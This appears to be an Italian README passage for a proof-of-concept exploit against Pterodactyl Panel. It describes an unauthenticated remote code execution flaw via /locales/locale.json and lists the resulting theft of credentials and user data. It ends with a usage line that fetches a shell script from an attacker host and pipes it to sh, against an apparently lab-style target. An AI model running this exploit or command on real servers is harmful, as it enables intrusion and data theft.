
La falla consente a un attaccante di eseguire comandi di sistema arbitrari sul server che ospita il Pterodactyl Panel senza alcuna autenticazione preliminare.
Impatto
Utilizzando il file /locales/locale.json con i parametri di query locale e namespace, un attore malintenzionato è in grado di eseguire codice arbitrario, senza essere autenticato.
Con la possibilità di eseguire codice arbitrario, questa vulnerabilità può essere sfruttata in un numero infinito di modi. Potrebbe essere utilizzata per ottenere l'accesso al server del Pannello, leggere le credenziali dalla configurazione del Pannello (.env o altro), estrarre informazioni sensibili dal database (come dettagli utente [nome utente, email, nome e cognome, password hashata, indirizzi IP, ecc.]), accedere ai file dei server gestiti dal pannello, ecc.
Come utilizzare
python poc.py --target "pterodactyl.htb" --cmd 'curl http://10.10.14.22:8080/dbs.sh | sh'